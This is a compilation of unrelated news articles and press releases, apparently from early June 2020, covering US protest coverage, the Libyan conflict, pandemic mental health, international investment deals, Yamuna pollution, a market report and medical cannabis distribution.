Some are said to have been targeted by security forces using tear gas, rubber bullets and pepper spray.

A riot police officer reportedly charged his shield at a BBC cameraman near the White House in Washington DC on Sunday evening.

The Corporations Americas bureau chief Paul Danahar said the cameraman was clearly identifiable as a member of the media.

He added that the TV crew were following all directions from the police, with the incident happening before curfew and without warning or provocation.

New York-based photographer Adam Gray, from the UK, was also arrested on Sunday while covering the protests.

Among other journalists detained, a CNN news crew was arrested live on air and two Reuters journalists were shot at with rubber bullets as police sought to disperse demonstrators in Minneapolis after an 8pm curfew.
Libya's UN-recognised government said Thursday it was back in full control of Tripoli and its suburbs, capping a string of victories against eastern strongman Khalifa Haftar and vowing to take the whole country. "Our heroic forces have full control of Greater Tripoli right up to the city limits," Mohamad Gnounou, spokesman for the forces of the Government of National Accord (GNA), said in a Facebook post. The announcement came after GNA forces retook the Tripoli International Airport on Wednesday, after fierce battles more than a year after losing it as Haftar launched an offensive to seize the capital. The country's main civilian airport, in Tripoli's southern outskirts, had been disused since 2014 when it was heavily damaged in fighting between rival militias. But it was a key strategic prize on a major highway into the capital. The unity government's deputy defence minister Salah Namrush said Thursday that GNA forces "are continuing their advance, chasing the terrorist militias from the walls of Tripoli." "Some of their commanders are fleeing towards Bani Walid airport," some 170 kilometres (110 miles) southeast of the capital, he added on Facebook. Haftar, whose main base is in the east, seized most of southern Libya early last year before launching his offensive on the capital in April, vowing to "cleanse" it from "terrorist militias" backing the GNA. A rapid early advance stalled on the edges of Tripoli in fighting that has killed hundreds and forced around 200,000 people to flee. But GNA forces with heavy Turkish backing have made a string of gains from Haftar's forces in recent months. Footage of GNA troops manning positions held until recently by Haftar's fighters was widely circulated on Libyan television channels and social media. - Foreign support 'decisive' - GNA head Fayez al-Sarraj, speaking after meeting Turkish President Recep Tayyip Erdogan in Ankara on Thursday, insisted that his government would impose its control over the whole of Libya. "Our fight continues and we are determined to defeat the enemy, impose state control on the whole of the homeland and destroy all those who jeopardise the construction of a civil, democratic and modern state," Sarraj said. Wolfram Lacher, a Libya analyst at the German Institute for International and Security Affairs, said Haftar's setbacks "show how decisive foreign support has become for both sides". GNA forces have been boosted by Turkish drones and air defences in recent months, enabling them to retake important coastal towns and a key airbase Haftar had been using to bomb GNA positions. Haftar is supported by neighbouring Egypt and the United Arab Emirates as well as Russia. UN experts in April said hundreds of mercenaries from the murky Russian paramilitary organisation the Wagner Group were fighting for him. But last month, as Haftar's losses mounted, the GNA said Wagner Group fighters had withdrawn from combat zones south of the capital. With the loss of Tripoli, "Haftar could face increasing challenges to his authority over eastern and southern Libya," Lacher wrote in a blog post. "Rivalries within the anti-Haftar alliance will also return to the fore." Mohamad al-Gammoudi, a GNA commander on the Tripoli front, told AFP that government forces had taken back a string of districts across the south of the capital, along with an airbase used by Haftar's forces. He said GNA forces were now encircling Tarhuna, which served as a major launchpad for Haftar's operation, and that "its fall and return to the legitimate government's control is just a question of time". But Lacher warned that a GNA effort to take Tarhuna could spark a protracted conflict. Libya has endured years of violence since the 2011 uprising that toppled and killed longtime dictator Moamer Kadhafi, with two rival administrations and scores of militias battling for power. The United Nations has urged outside powers to respect a deal reached at a January conference in Berlin, ending foreign meddling and upholding a much-violated arms embargo. While a truce brokered by Turkey and Russia has been repeatedly violated, the UN said talks on a ceasefire resumed Wednesday, welcoming it as a "positive" first step. Russia warned Thursday of "catastrophic consequences" if the fighting continues. "We are convinced that the ongoing military actions will only lead to the aggravation of the systemic crisis" in Libya, said Russian foreign ministry spokeswoman Maria Zakharova.
Metro Manila (CNN Philippines, June 5) - If you feel anxious these days or worry about what is going to happen tomorrow, a psychiatrist from the National Center for Mental Health said that it is normal to feel that way amid the pandemic.

It's normal that we feel the uncertainty, we feel anxious kung ano mangyayari tomorrow (about what will happen tomorrow). Siyempre (Of course) there is fear for our own lives and we grieve for the losses, said Dr. Agnes Casino in an interview with CNN Philippines.

We are human beings, so we are social beings. Ayun yung nawala sa atin ngayon (Thats what we lost) and losing control, she said. That feeling could be actually under an abnormal situation.

The United Nations and the World Health Organization said that there is a high prevalence of mental distress in different parts of the world due to the pandemic, especially among health care workers and children.

Casino said there are different groups of people in this pandemic: the ones who are resilient with the situation; those who are already diagnosed with psychiatric illness, even before the pandemic; those who already have a mild depression, but the crisis could trigger a psychiatric illness in them; and those who have stocked resilience and coping skills, but they are already starting to have an illness due to the situation.

She noted that the last two groups of people should be kept an eye on.

When to seek professional help?

Casino pointed out that there are several factors when someone feels down, having a difficulty in sleeping, or lack of appetite. For instance, difficulty sleeping could be caused by exposure to social media before going to bed or irregularity in sleeping pattern.

READ: 5 natural ways to boost your mental health during stressful times

She said that if other aspects of our lives are being affected, it is the right time to call for help.

To the point na if all areas in your life, including the functioning, kung natulala na siya with depression (if he is dazed with depression), it must be actually two weeks na makikita mo na may symptoms na ganun (it must be actually two weeks to see symptoms like that)...So that one maybe you need professional support, said Casino.

As part of the new normal, psychiatrists are still offering their services through the use of technology.

Right now, the same thing with everything, we are also working on tele-consultation. It may not be the same as face-to-face consultation, but it's the next best thing for now, she said. As for prescription, yung (the) FDA is allowing e-prescription. Even us psychiatrists we can provide e-prescriptions.

How to cope with the pandemic?

In these trying times, Casino encouraged everyone to catch up with their friends and loved ones.

Siguro, ito na medyo aware na tayo on what's happening, it's good that we call up people, we ask them kung kumusta sila, she said.

[Translation: I think now that we are aware of what is happening, its good that we call up people, we ask them how they are.]

She also advised to get updated with the latest news, but avoid news that is becoming distracting.

So for everyone, we keep ourselves updated, kung ano yung mga government advisories and mga protocols. Kung nakaka-distract sayo and you are affected by the news na hindi maganda, you avoid those ones.

[Translation: So for everyone, we keep ourselves updates on what are the latest government advisory and protocols. But if you are distracted and affected by the negative ones, you avoid them.]

Casino said that everyone should still follow their normal routines before the pandemic.

You keep your regular routine, kung work from home ka na ngayon but you still have to get up at 7, you still follow that one para yung body clock natin hindi magulo, she said.

[Translation: You keep your regular routine, if you are already working at home but you still need to get up at 7am, you still follow that routine so your body clock will not mess up.]

For me, resilience is not how long you endure an adversity, but how you rise up from adversity.

NCMH offers a 24/7 crisis hotline to listen to mental health concerns amid the pandemic. You may contact them through 0917-899-USAP (8727) or (02) 7-989-USAP (8727).
By Trend

International Financial Corporation (IFC) is working with the government of Uzbekistan to plan future projects, Regional Manager for Central Asia of IFC Cassandra Colbert told Trend.

Colbert said that IFC is helping the government structure and tender a public-private partnership (PPP) to develop a 1,200-1,500 MW gas-fired power plant in the Syrdarya region. This is an important project for both IFC and Uzbekistan. This large-scale PPP will help modernize Uzbekistan's aging power infrastructure and supply both residents and businesses with steady electricity. It will also significantly increase efficiency of the use of gas, contributing to reduction of greenhouse-gas emissions. The new equipment will make the power sector more flexible, creating a better environment to introduce intermittent renewable-energy sources.

In March 2020, IFC together with the Ministry of Energy, Ministry of Investment and Foreign Trade, and the PPP (public-private partnerships) Development Agency organized an online investor conference, which brought together more than 100 participants - including investors, financial institutions, and other stakeholders - who were familiarized with the Syrdarya projects scope and transaction structure, Uzbekistans power sector, and its PPP regulatory framework.

"The investor conference highlighted transparent and competitive tender process that we expect will attract interest from a number of market-leaders from across the world," she said.

Colbert said IFC is looking to invest in areas such as energy, manufacturing, services, and agribusiness. In the financial sector, we will continue to focus on financial institutions that lend and lease to support small and medium-sized enterprises.

"We are also helping the government establish and develop a strong pipeline of PPPs. There is great potential for PPPs in several sectors, including power and transport. Along with other international financial institutions, we are also supporting the governments privatization programs in the banking and chemical sectors," she stated.

The International Finance Corporation, a member of the World Bank Group, is the largest global institution dedicated to supporting the private sector in emerging markets. The corporation works with more than two thousand private enterprises around the world. In fiscal year 2019, the company provided more than $19 billion in long-term funding to developing countries. In doing so, the corporation has attracted the strong potential of the private sector to eradicate extreme poverty and improve global prosperity.

Recently, IFC and Ipak Yuli Bank of Uzbekistan signed an agreement allowing the bank to better manage currency risks and increase local currency financing for small and medium-sized enterprises, which play a key role in the economic development of Uzbekistan.

---

Follow us on Twitter @AzerNewsAz
Significantly ramping up investments in France, 18 Indian firms decided to invest there in 2019, taking the total number of companies from India with a presence in the European country to 120, a French Embassy statement said on Thursday.

The Embassy cited the 'Business France's 2019 Annual Report on Foreign Investment in France' which was discussed on Wednesday in a video conference held by the French Prime Minister Edouard Philippe, along with Minister of Economy and Finance Bruno Le Maire, Minister for Europe and Foreign Affairs Jean-Yves Le Drian and Minister of State attached to the Minister of Economy and Finance Agnes Pannier-Runacher.

"Indian investors, aware of France's new position, have significantly increased their investment in France," the Embassy said in a statement.

"In 2019, 18 Indian companies decided to invest/re-invest in France, creating or maintaining two times more jobs than in 2018, bringing the total number of Indian companies in France to more than 120, with a global employment level of 8,000 jobs," it said.

Ambassador of France to India Emmanuel Lenain said, "I am proud to see increasing Indian investments in France, and impressed by their value addition as they often involve decision-making centres, production/manufacturing operations and logistics."

"The strong presence of Indian businessmen at major events in France shows how attractive France is for India. The participation of a dozen Indian CEOs during the visit of the French President to Reunion Island on October 23, 2019 and the participation of seven eminent Indian CEOs at Choose France, on January 20, 2020 at Versailles bear witness to this," Lenain said.

The French government's decisive reforms over the past three years and growing foreign investor confidence  particularly from India  have enabled France to rank as the top FDI destination in Europe, he said.
WASHINGTON  The Senates top Democrat, Sen. Chuck Schumer, is co-sponsoring legislation meant to prevent the Trump administration from restarting explosive nuclear weapons testing.

The Preserving Leadership Against Nuclear Explosives Testing, or PLANET, Act, announced Thursday, would bar any funds from being used for such tests. It follows a Washington Post report of high-level discussions around the possibility of doing a rapid test  potentially Americas first live nuclear test since 1992.

The bill is led by Sen. Ed Markey, D-Mass., and a longtime arms control advocate on the Senate Foreign Relations Committee. While a key administration official has said tests could begin within months if ordered by the president for technical or geopolitical reasons, critics say it could incentivize Russia and China to openly test with little valuable data to show for U.S. tests.

The bill had no backing from Republicans, but its 14 Democratic co-sponsors include Schumer, who is Senate minority leader, and several other members who could be instrumental in attaching it to upcoming appropriations legislation or the National Defense Authorization Act: Defense Appropriations Subcommittee Vice Chairman Dick Durbin, D-Ill., and three members of the Senate Armed Services Committee.

For decades, the United States has relied on simulations and nonexplosive testing to assess the health and capabilities of the nuclear arsenal, and in the near term, the data gathered by such a test would be minimal, Drew Walter, who is performing the duties of deputy assistant secretary of defense for nuclear matters, said at an event last month.

Critics argue its not worth the risks to public health or geopolitically advantageous.

Congress must send the President the same message the directors of our national laboratories have sent the President: we know more about the U.S. nuclear stockpile in the absence of testing than we knew in the half-century of testing, Markey said in a statement.

Story continues

That is why, before it is too late, Congress must use its power of the purse to deny President Trump from sparking a global return to testing the most powerful weapon ever created by man. North Korea is an international pariah for its defiance of international norms  largely through its illicit nuclear weapons tests. We must not join them.

According to a bill summary, it would also allow for stockpile stewardship activities, such as certifying the safety, security and reliability of the U.S. nuclear stockpile, so long as those activities are consistent with the zero-yield scope of the Comprehensive Nuclear-Test-Ban Treaty.

There is no legal block on live testing, as America has not formally ratified the CNTBT, which fell just short of the votes needed in the Senate in 1999. Like the U.S., China has signed onto the CTBT but not ratified it. Russia has ratified it, but the U.S. has publicly questioned whether Moscow is fulfilling its promise not to do testing. (Public data has not substantiated those claims.)

Aaron Mehta contributed to this report.
Ambassador Dang Dinh Quy (Photo: VNA)



In his remarks at the online meeting, Quy affirmed Vietnams commitments to promoting multilateralism, the UN Charter and international law.

As Chair of the group, Vietnam will push ahead with dialogues in the spirit of construction and cooperation between the group, the Chair, the Prosecutor of the mechanism and the UN Secretariat, in order to soon complete tasks assigned by the UNSC, he said.

Delegates reviewed the mechanisms performance over the past six months, and measures to improve its operational efficiency, overcome the impact of the COVID-19 pandemic and support judicial agencies in countries.

The Informal Working Group on International Tribunals was established in June 2000 to deal with a specific issue pertaining to the statute of the International Tribunal for the Prosecution of Persons Responsible for Serious Violations of International Humanitarian Law in the Territory of the Former Yugoslavia since 1991 (ICTY) and subsequently mandated to deal with other legal issues pertaining to ICTY as well as the International Criminal Tribunal for Rwanda for the Prosecution of Persons Responsible for Genocide and Other Serious Violations of International Humanitarian Law Committed in the Territory of Rwanda and Rwandan Citizens Responsible for Genocide and Other Such Violations Committed in the Territory of Neighbouring States between 1 January 1994 and 31 December 1994 (ICTR).

Apart from the working group, Vietnam is holding the Chairmanship of the UNSCs South Sudan Sanctions Committee and the Lebanon Sanctions Committee./.
Prayagraj, June 5 : Taking a stern view of a police inspector's atrocities on vegetable sellers in Prayagraj, UP Chief Minister Yogi Adityanath on Friday evening ordered action against the erring cop and compensation for the losses suffered by the sellers.

According to reports, a bi-weekly vegetable market in Prayagraj was held on Thursday even though it was scheduled to be held on Wednesday and Friday.

Inspector Sumit Anand, who reached the spot, asked the farmers to leave. When the farmers did not comply, he crushed their vegetables with his jeep.

A video of the incident went viral on Friday and the Chief minister directed officials to apologize to the farmers and compensate them for their losses.

SSP Prayagraj, Satyarth Aniruddh, told reporters that the inspector responsible for the incident had been suspended and the losses would be assessed and recovered from his salary. He said that compensation would be given to 11 farmers who had been identified so far.

He said that a circle officer had visited the market on Friday and had complied with the orders of the Chief Minister.

The farmers were asked to maintain social distancing while setting up shops.
Abu Dhabi sovereign fund Mubadala Investment Company will inject Rs 9,093.6 crore in Jio Platforms in exchange for 1.85 percent, the sixth investment in the RIL digital unit in as many weeks and underscoring its standing as an irresistible lodestar for some of the worlds biggest tech companies and investors.

The investment by Mubadala, which manages about $229 billion in assets, at an equity value of Rs 4.91 lakh crore and an enterprise value of Rs 5.16 lakh crore takes the total amount raised by Jio to an eye-popping Rs 87,655.35 crore, according to a statement by RIL.

Jio Platforms, which runs movie, news and music apps as well as the telecom enterprise Jio Infocomm, has now sold a combined stake of 18.97 percent in six massive fundraising deals.

The series of deals was led by Facebook Inc, which invested Rs 43,574 crore to buy 9.99 percent on April 22. Since then, General Atlantic, Silver Lake, Vista Equity Partners and KKR together spent Rs 78,562 crore on Jio.

Mukesh Ambani, chairman and managing director of Reliance Industries (RIL), said he was delighted that Mubadala, one of the most astute and transformational global growth investors, has decided to partner his company in its journey to propel Indias digital growth towards becoming a leading digyal nation in the world. Through my longstanding ties with Abu Dhabi, I have personally seen the impact of Mubadalas work in diversifying and globally connecting the UAEs knowledge-based economy. We look forward to benefitting from Mubadalas experience and insights from supporting growth journeys across the world, he said in a statement.

The deals underline the status of Jio Platforms as a tech powerhouse and its ability to dominate Indias booming digital economy. Jio Platforms has made significant investments across its digital ecosystem, powered by leading technologies spanning broadband connectivity, smart devices, cloud and edge computing, big data analytics, artificial intelligence, Internet of Things, augmented and mixed reality and blockchain.

Jio Infocomm is Indias biggest telecom player, amassing more than 388 million subscribers since its launch in late 2016.

Khaldoon Al Mubarak, managing director and group CEO, Mubadala Investment Company, said his company is committed to investing in, and actively working with, high-growth companies that are pioneering technologies to address critical challenges and unlock new opportunities. We have seen how Jio has already transformed communications and connectivity in India, and as an investor and partner, we are committed to supporting India's digital growth journey. With Jios network of investors and partners, we believe that the platform company will further the development of the digital economy."

Mubadala is billed as the second-biggest state investor after Abu Dhabi Investment Authority. It has more than 50 businesses and investments in more than 50 countries.

Mubadala typically makes investments in enterprises that create lasting value and positive economic and social impact in communities at home and overseas, according to its website. Its portfolio companies are spread in sectors such as aerospace, agribusiness, ICT, semiconductors, metals and mining, pharmaceutical and medical technology, renewable energy and utilities. It also manages diverse financial holdings.

The transaction is subject to regulatory and other customary approvals.

Morgan Stanley acted as financial advisor to Reliance Industries and AZB & Partners, and Davis Polk & Wardwell acted as legal counsel.
Agra, June 5 : Seventy days of respite due to the lockdown, may have helped the iconic 17th century monument of love, the Taj Mahal, to temporarily heal itself and be restored to good health for the first time in its history, questions continue to be raised whether the city's environmental conditions over the years have drastically changed to assure continuous healthy conditions to the ageing historical monuments.

As the city celebrates the World Environment Day, local activists say there has been no fundamental change in the environmental conditions in the eco-sensitive Taj Trapezium Zone, spread over 10,000 sq km.

Minus the 70 days of the lockdown that has seen some improvement in the Yamuna water quality and the air pollution levels, the overall picture remains largely grim despite Nearly three decades of environmental activism, and a series of judicial interventions by the Supreme Court of India in the famous M.C. Mehta PIL.

The air pollution level continues to remain alarming, affecting both humans and stones.

A meeting of the River Connect Campaign activists early Friday, at the Etmauddaula view point park, demanded urgent steps to save river Yamuna, which they said was dying due to lack of fresh water, and a heavy load of pollutants released by industrial clusters upstream of Agra.

High level of noxious gases, suspended dust particles, emissions from vehicles, denudation of green cover to construct roads and houses, had affected both men and stones, green activist Devashish Bhattacharya said.

Tourism has been badly hit and the health of the local population is in peril, activist Jugal Kishor said.

Activists said various recommendations of expert committees were gathering dust and the Supreme Court orders had been blatantly ignored.

In the past, a series of orders came from the apex court. But Shifting orders for dairies, dhobi ghats, cremation sites, petha units, have been shelved. Transport companies emitting pollutants on the Yamuna Kinara Road, have not been shifted either.

Repeated pleas by environmentalists to free the Yamuna banks of encroachment have fallen on deaf ears.

The National Green Tribunal has been struggling with its orders on clearing encroachments on the Yamuna floodplains. After years of dilly-dallying even the boundaries of the flood plains have not been clearly demarcated, the campaigners complain.

Forest land in the Soor Sarovar area has been reduced as groups of vested interests managed to secure land for developing commercial activities. Local green activists have lamented the apathy of the elected Vidhan Sabha and Lok Sabha members towards the Yamuna, the lifeline of the city.

A dry and polluted Yamuna remains a constant threat to the safety of the Taj Mahal, say the activists of the Braj Mandal Heritage Conservation Society. Water in the Yamuna was required for the good health of historical monuments along the Yamuna's banks, because the foundations need continuous moisture and a pollution-free ambience, Society's president Surendra Sharma said.

The Society in a letter recently reminded the Union Transport Minister Nitin Gadkiri of his promise to start a ferry service for tourists between Delhi and Agra. In his election campaign speech at the Agra College ground, BJP President Amit Shah had promised that Yamuna cleaning would be taken up on top priority after the elections.

Even Prime Minister Narendra Modi had spoken of steps to save the Yamuna.

Having announced the construction of a barrage downstream of the Taj Mahal, Uttar Pradesh Chief Minister Yogi Adityanath has suddenly developed cold feet, the green activists said. Despite repeated demands, the Yamuna Barrage project, downstream of the Taj Mahal, hangs fire.

The river activists also demanded a comprehensive National Rivers Policy and a Central Rivers Authority.

Green activist Shravan Kumar Singh said that despite persistent demands, so far no initiative had been taken to desilt and dredge the river bed, which had become hard owing to pollutants, preventing seepage and percolation of water.

Environmentalist Chaturbhuj Tiwari said, "Though the Supreme Court had categorically directed ban on entry of cattle into the river and shifting of dhobis (washermen) polluting the river, no effort has been made by the district authorities in this direction." The meeting called for a white paper on the expenses incurred by various government agencies on cleaning the Yamuna between Delhi and Agra.
Los Angeles-based Rooftop Cinema Club announced in a news release Wednesday that it will host its third drive-in venue in Texas just outside the front gates of Six Flags Fiesta Texas on June 18.

RELATED: Six Flags Fiesta Texas announces reopening date

The first two drive-in venues were rolled out last month in Houston, and both have been opened nightly since then, the company told mySA.com. Rooftop Cinema Club said it plans to have its San Antonio location open nightly after its June 18 opening date.

Known for its unique rooftop venues and movie-watching experiences, the company diverted its cinema plans to drive-ins due to the coronavirus pandemic temporarily shutting down movie theaters, restaurants and more businesses in March.

Scroll below to learn more about the Rooftop Cinema Club drive-in movie theater venue in San Antonio.
The global emergency lighting battery market size is expected to grow by USD 636.42 million as per Technavio. This marks a significant market slowdown due to the impact of the COVID-19 pandemic in the first half of 2020. However, healthy growth is expected to continue throughout the forecast period, and the market is expected to grow at a CAGR of about 6%. Request free sample pages

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Technavio has announced its latest market research report titled Global Emergency Lighting Battery Market 2020-2024 (Graphic: Business Wire)

Read the 120-page report with TOC on "Emergency Lighting Battery Market Analysis Report by Type (NiCd battery, NiMH battery, Li-ion battery, and Lead-acid battery) and Geography (North America, Europe, APAC, South America, and MEA), and the Segment Forecasts, 2020-2024".

https://www.technavio.com/report/global-emergency-lighting-battery-market-industry-analysis

The market is driven by the emergence of smart emergency lighting systems. In addition, the increasing number of infrastructure projects is anticipated to boost the growth of the emergency lighting battery market.

The emergence of smart emergency lighting systems is expected to drive the emergency lighting battery market growth during the forecast period. The rise of smart solutions in various industries worldwide with various features has led to the shift in consumers towards smart solutions. Similarly, emergency lighting manufacturers are focusing on smart emergency lighting system technologies, which can be utilized for tracking testing of emergency light conditions. These technologies allow building managers to test the lighting system automatically, understand its usage, detect any luminance failure, and provide solutions for places that require emergency lights with a single software or a mobile app. Such innovations are expected to stimulate the demand for emergency lighting, thereby driving the growth of the market.

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Major Five Emergency Lighting Battery Companies:

Berkshire Hathaway Inc.

Berkshire Hathaway Inc. has business operations under various segments, such as manufacturing; McLane Company; service and retail; BNSF; Berkshire Hathaway Energy; and insurance, corporate and other. The company manufactures and supplies emergency lighting batteries through its subsidiary, Duracell.

C&D Technologies Inc.

C&D Technologies Inc. operates its business through various segments, such as VLA Batteries, VRLA Batteries, Lithium Ion, battery monitoring, racks cabinets, and spill containment safety. The company offers emergency lighting batteries through its subsidiary, Trojan Battery Co.

Crown Battery Manufacturing Co.

Crown Battery Manufacturing Co. manufactures industrial batteries and industrial battery charging systems. The company offers durable backup batteries for emergency lighting applications

Discover Energy Pty Ltd.

Discover Energy Pty Ltd. has business operations under various segments, such as electricity, solar and batteries, and DE insight. The company offers batteries for a wide range of emergency lighting and security devices.

East Penn Manufacturing Co. Inc.

East Penn Manufacturing Co. Inc. operates its business through various segments, such as transportation; motive power; reserve power; and wire, cable, and batteries. The company offers batteries for emergency lighting and other stationery and stand-by applications.

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Emergency Lighting Battery Type Outlook (Revenue, USD mn, 2020-2024)

NiCd battery

NiMH battery

Li-ion battery

Lead-acid battery

Emergency Lighting Battery Regional Outlook (Revenue, USD mn, 2020-2024)

North America

Europe

APAC

South America

MEA

Technavio's sample reports are free of charge and contain multiple sections of the report, such as the market size and forecast, drivers, challenges, trends, and more. Request a free sample report

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Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions.

With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios.

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New Curtin University research has found workers who proactively pursue career goals are less likely to suffer a sense of job insecurity when faced with employment uncertainty, as many are now due to the COVID-19 pandemic.

The research, published in the Journal of Occupational Health Psychology, found that even if the labour market situation was precarious, people could take steps to reduce their feelings of job insecurity, which in turn affects mental health and well-being.

Co-author ARC Laureate Fellow John Curtin Distinguished Professor Sharon Parker, Director of the Centre for Transformative Work Design based at Curtin's Future of Work Institute, said the research was particularly relevant now with many workers concerned about job security as a result of the pandemic.

"We surveyed 227 workers on short-term temporary contracts who did not have a renewed contract and most of them, unsurprisingly, felt insecure," Professor Parker said.

"However, for some workers, the level of job insecurity increased as the contract got closer to expiring, whereas for others, insecurity did not increase at this time and we investigated why this difference existed.

"By tracking these workers across several months, and measuring their experiences three times, we found those who took proactive steps to shape their career were the ones best able to cope with an elapsing contract."

Professor Parker said these proactive behaviours included skill development, networking, career planning and career consultation with a supervisor about training or work assignments needed to develop skills that would increase future work opportunities.

"Workers who engaged in these proactive career behaviours in the face of an elapsing contract felt more in control of their careers, and hence were less insecure," Professor Parker said.

"Although we did not test whether these workers ultimately secured new jobs, other research shows that such proactive actions increase the chance of re-employment.

"Proactively taking steps to build skills, networks, and career plans makes a person feel more in control, and more optimistic whereas the more passive or reactive approach of sitting back and waiting for a contract to end not only harms a person's prospects for continued employment, but increases feelings of insecurity and harms their well-being."

Explore further Job insecurity negatively affects your personality, study finds

More information: Jessie Koen et al. In the eye of the beholder: How proactive coping alters perceptions of insecurity., Journal of Occupational Health Psychology (2020). Journal information: Journal of Occupational Health Psychology Jessie Koen et al. In the eye of the beholder: How proactive coping alters perceptions of insecurity.,(2020). DOI: 10.1037/ocp0000198
YEREVAN, JUNE 5, ARMENPRESS. First President of Armenia Levon Ter-Petrosyan commented on the current situation in the country caused by the novel coronavirus (COVID-19) calling it a war.

In a report titled Simple Syllogism published at ilur.am, the ex-President said:

Coronavirus has declared a war to Armenia The burden of running the war falls on the shoulders of the leadership Who is fighting against the leadership, willingly or unwillingly betrays the nation.

The domestic political fight during the war is madness which has no justification.

Editing and Translating by Aneta Harutyunyan
English French

VANCOUVER, British Columbia, June 05, 2020 (GLOBE NEWSWIRE) -- AgraFlora Organics International Inc. (AgraFlora or the Company) (CSE: AGRA ) (Frankfurt: PU31 ) (OTCPK: AGFAF) is pleased to announce that on June 3, 2020, its wholly owned subsidiary Farmako GmbH (Farmako) has entered into a binding supply term sheet (the Term Sheet) with ZenPharm Ltd (ZenPharm), a subsidiary of Zenabis Global Inc. (Zenabis) The Term Sheet serves as the basis to enter into a supply agreement which is expected to be completed in the coming weeks.



Under the conditions of the Term Sheet, ZenPharm will supply EU-GMP quality medical cannabis flower cultivated by Zenabis to Farmako for distribution to medical cannabis patients in Germany. The agreement is intended to facilitate the distribution of 1,500 kilograms of cannabis flower by Farmako in Germany over a 3 year term, with options for the parties to extend the supply relationship. Farmako will receive the products in Germany and distribute them nationally under its own brand to its roster of German pharmacies and doctors. The products provided by ZenPharm, initially including high potency THC flower and balanced THC and CBD flower, two product categories that management believes are in highest demand in Germany. Shipments to Farmako are expected to start in Q4 2020. The parties have further agreed to work collaboratively on additional product formulations to be added to the contemplated agreement in 2021, including cannabis oils and other novel dosage forms.

Farmako CEO Katrin Eckmans stated: Having visited Zenabis Canadian facility at the end of 2019, I was very impressed. We have visited many facilities, and Zenabis ability to maintain the highest standards of professionalism and quality throughout the organization even while operating on a massive scale is commendable. Zenabis professional approach to growing cannabis, combined with Natrix Sciences experience with innovative and complex pharmaceutical products in Malta is a perfect interplay to provide a broad portfolio of high quality medical cannabis products for patients in Germany and across Europe.

Germany is currently the lion market for medical cannabis in Europe, accounting for a market value of over EUR 170 million in a solid regulatory setting, resulting in other European countries further opening up and using the German regulatory framework as a role model. Since the German legalization of medical cannabis in March 2017, the market has more than doubled every year. In 2019, more than 6,700 kg of flower were imported to be dispensed to patients in German pharmacies (3,000 kg in 2018), with flower accounting for more than half of the overall German medical cannabis market. By the end of the second year following legalization, Germany saw more than 140,000 cannabis prescriptions issued, with insurance reimbursements having increased nearly 70% in 2019 compared to 2018. The second half of 2020 will show a diversification of available products on the market, and it is expected that market growth rates will continue at a high pace. [1] Source: Prohibition Partners, MJBizDaily

Angele Azzopardi, Chief Executive Officer ZenPharm said, Our Team is incredibly proud to carry this operation forward. This agreement not only showcases Zenabis commitment but also evidences the Zenabis, ZenPharm trans-Atlantic synergy in delivering medicinal cannabis products to Europe. We look forward to developing our relationship with Farmako, especially as more conventional dosage forms of medicinal cannabis products come to the market.

"Zenabis and ZenPharm have presented themselves as professional and reliable partners to Farmako throughout the last year of our common work, with dedication to detail and also looking for a long-term, sustainable cooperation, stated Brandon Boddy, Chairman and Chief Executive Officer of AgraFlora. I believe this a great fit for Farmako, and we are very happy and proud about the signing and are looking forward to working with the team in Canada and Malta towards the initial shipment of medical cannabis grown by Zenabis to Frankfurt, serving patients in Germany.

About AgraFlora Organics International Inc.

AgraFlora Organics International Inc. is a leading cannabis company building shareholder value through the development of revenue generating operating assets in the global cannabis industry. AgraFlora is focused primarily on the Canadian cannabis industry; the worlds most advanced and regulated legal cannabis market. Flagship Canadian assets include: Edibles & Infusions, a fully automated manufacturing facility in Winnipeg, MB for white-label and consumer branded edible production; Propagation Services Canada, a large-scale commercial greenhouse in Delta, BC focused on reshaping the Canadian flower market with high-potency, low cost cannabis flower, and AAA Heidelberg, a craft focused cannabis producer in London, ON. In addition, AgraFloras wholly owned subsidiary Farmako GmbH is scaling towards its goal of being Europes leading distributor of medical cannabis. Farmako currently has active distribution operations in Germany and expects to commence active operations in the United Kingdom in 2020. For more information please visit: https://agraflora.com/.

About Farmako GmbH

Farmako GmbH is a pharmaceutical wholesaler based in Frankfurt, Germany. The company focuses on the distribution of medical cannabis to pharmacies with the aim of securing the supply for cannabis patients and closing the gap between supply and demand for medical cannabis. Farmako is planning to expand its business model into other European countries with a corresponding legal basis, scaling towards its goal of being Europes leading distributor of medicinal cannabis. The company already distributes medical cannabis to pharmacies in Germany since March 2019 and is fully licensed in the UK to start distribution operations there in 2020. Farmako is a 100% subsidiary of AgraFlora Organics International Inc. For more information please visit: https://www.farmako-global.com/ .

ON BEHALF OF THE BOARD OF DIRECTORS

Brandon Boddy

Chairman & CEO

T: (604) 398-3147

For additional information: For French inquiries: AgraFlora Organics International Inc. Maricom Inc. Nicholas Konkin Remy Scalabrini E: ir@agraflora.com E: rs@maricom.ca T: (800) 783-6056 T: (888) 585-MARI





The CSE and Information Service Provider have not reviewed and does not accept responsibility for the accuracy or adequacy of this release.

Forward-looking Information Cautionary Statement

Except for statements of historic fact this news release contains certain forward-looking information within the meaning of applicable securities law. Forward-looking information is frequently characterized by words such as plan expect project intend believe anticipate estimate and other similar words or statements that certain events or conditions may or will occur. Forward-looking statements are based on the opinions and estimates at the date the statements are made and are subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those anticipated in the forward-looking statements including but not limited to delays or uncertainties with regulatory approvals including that of the CSE. There are uncertainties inherent in forward-looking information including factors beyond the Companys control. There are no assurances that the business plans for AgraFlora Organics described in this news release will come into effect on the terms or time frame described herein. The Company undertakes no obligation to update forward-looking information if circumstances or managements estimates or opinions should change except as required by law. The reader is cautioned not to place undue reliance on forward-looking statements. Additional information identifying risks and uncertainties that could affect financial results is contained in the Companys filings with Canadian securities regulators which are available at www.sedar.com.
The expansion of unemployment benefits under federal rules makes eligible many people who would not normally qualify for benefits, such as gig workers and the self-employed.

But not everyone is eligible.

Regular unemployment benefits, pre-pandemic, have strict eligibility requirements, especially for those who were fired from their jobs.

If you were fired or discharged from your job, you may not be eligible for benefits, the Department of Labor website said. A claims examiner will determine if there was any misconduct connected to your separation.

